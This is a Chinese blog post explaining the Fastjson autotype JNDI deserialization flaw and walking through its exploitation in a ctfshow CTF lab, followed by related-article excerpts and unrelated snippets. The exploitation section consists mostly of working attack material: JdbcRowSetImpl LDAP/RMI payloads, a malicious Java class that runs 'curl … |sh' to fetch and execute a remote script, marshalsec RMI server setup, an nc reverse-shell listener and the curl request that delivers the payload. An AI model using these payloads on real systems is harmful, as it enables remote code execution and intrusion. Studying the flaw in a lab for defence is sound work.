Fastjson 简介

fastjson框架:https://github.com/alibaba/fastjson

fastjson-jndi:https://github.com/earayu/fastjson_jndi_poc

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

提供两个主要接口:

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

版本:Fastjson <= 1.2.80

漏洞原理

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。

【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】

FastJson 操作

序列化

序列化时,调用了构造方法和get 方法。反序列化时。调用了构造方法。

反序列化

有@type参数,set、get、构造方法都有调用!

无@type参数,都未调用。

因此能够执行反序列化的根源定位在 @type

【fastjson通过指定@type的值来实现定位某类,而这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法,也造成了这个漏洞的产生】

调用链及payload分析

payload

 //LADP 方式
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
//RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";

调用链分析

**java类 jdbcRowSetImpl ** 位于 jdk 1.8安装目录下,在rt.jar中。【更高版本不一定存在该文件,请自行尝试】

查找set,get等类。定位到setAutoCommit()函数

由于this.conn 为null,所以会调用this.connect()函数

connect()会对dataSourceName属性进行一个InitialContext.lookup (dataSourceName)的操作。

【lookup方法,是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。】

小结

具体说,就是JNDI 借助目标服务器上的一个类jdbcRowSetImpl,让目标服务器访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit),得到响应后执行相应操作。

调用链流程:

发送payload至执行端,执行端对json数据进行反序列化,由于读取@type参数类,导致执行setAutoCommit(),setAutoCommit()执行了connect()函数。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName)的操作,从而实现rce【加载了远端的恶意class字节码并执行,达到rce效果】。

利用过程

【以ctfshow举办的RealWorldCTF渗透挑战赛第二弹最后一步渗透环境为例】

【也可自行搭建环境,进行测试】

攻击流程

整个攻击流程如下:

1. 我们在本地机器编写一个攻击类,并且得到它的class字节码文件M。
2. 通过自定义payload(请求报文),给目标环境A发送攻击请求。
3. 目标环境A对报文中的json数据进行反序列化,触发漏洞,通过RMI服务,造成目标环境A访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit)。
4. 目标机器A加载攻击类M字节码,被攻击,完成rce。

生成并挂载恶意class文件

首先生成恶意class,完成反弹shell任务

import java.lang.Runtime;
import java.lang.Process; public class ctfshow {
public static void main(String[] args) {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","curl https://xx.xx.xx.xx:9999 |sh"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
} 或者 public class ctfshow { public static void ctfshow() {
// static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/bash", "-c", "curl https://xx.xx.xx.xx:9999 |sh" };
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
// }
} public static void main(String[] args) {
} }

挂载恶意class

python -m http.server 8888

开启RMI服务(Java远程方法调用),启动监听

【 使用marshalsec工具,搭建RMI环境】

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8888/#ctfshow" 3389

监听反弹

nc -lvvnp 9999

发送恶意payload

x.json文件

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:3389/ctfshow",
"autoCommit":true
}
}

a.sh文件

curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json

使用curl发送json包

nc 成功,获得反弹shell

【这里复现的时候,没有成功反弹shell】

【猜测原因:开启RMI服务时,使用的marshalsec-0.0.3-SNAPSHOT-all.jar不正确(网上找的,这里应该自己生成jar包),导致写的攻击脚本没利用上,反弹shell失败】

参考链接:

(191条消息) FastJson 反序列化漏洞原理分析_fastjson漏洞原理_Buffedon的博客-CSDN博客

(191条消息) Fastjson反序列化漏洞原理分析及复现_fastjson的反序列化和普通反序列化漏洞的区别是什么_Iwanturoot的博客-CSDN博客

浅析FastJSON反序列化漏洞(1.2.24——1.2.68) - 腾讯云开发者社区-腾讯云 (tencent.com)

Docs (feishu.cn)

FastJson 反序列化漏洞原理分析的更多相关文章

  1. fastjson反序列化漏洞原理及利用

    重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...

  2. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  3. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  4. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  5. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  6. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  7. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  8. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  9. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  10. Fastjson反序列化漏洞基础

    Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...

随机推荐

  1. 操作系统 windos

  2. halcon学习

    apply_metrology_model: 目标和背景灰度差别很小,但目标大概位置确定,需要确定目标位置的圆或者矩形: ball:圆形或矩形和图像其他部分相比为特殊图样

  3. UTT艾泰路由器默认口令(admin/admin)

    网络空间资产搜索: 登陆弱口令:admin/****** 登陆成功 End!!!

  4. Check If Binary Tree Is Completed

    Check if a given binary tree is completed. A complete binary tree is one in which every level of the ...

  5. Pnetlab中锐捷镜像反复重启或telnet无法键入内容

    PNETLab 版本: 5.2.7 或 5.3.3等 锐捷镜像版本: V1.03 故障详情: 基于前文的系统环境和锐捷镜像.替换后的yml文件,更新PnetLAB版本到5.3.3后,设备循环重启,无法 ...

  6. 百度地图api高亮显示指定区域,其余遮罩

    先放一张最后的效果图 主要功能:只显示天府新区(双流区+龙泉驿区)这一块,其他的地方就用半透明的遮罩层盖住,然后用Markers标注出每个项目的所在地点,当鼠标悬浮在标注点的时候就显示出项目名称. h ...

  7. jmeter支持发送https请求

    示例网址: https://passport.damai.cn/login 一.Jmeter如何导入SSL证书 步骤1.打开Chrome浏览器访问地址,点击安全锁,导出证书,并复制文件至指定文件目录. ...

  8. protobuf协议 待整理

    https://blog.51cto.com/wangjichuan/5691192 https://blog.csdn.net/lizhichao410/article/details/126032 ...

  9. mysql查询mapper返参类型为List

    List<String> lists = mapper.select(); 返参类型为List,查询没有数据的时候,lists不会为null,lists.size() 为 0.

  10. 1=C到底是哪个C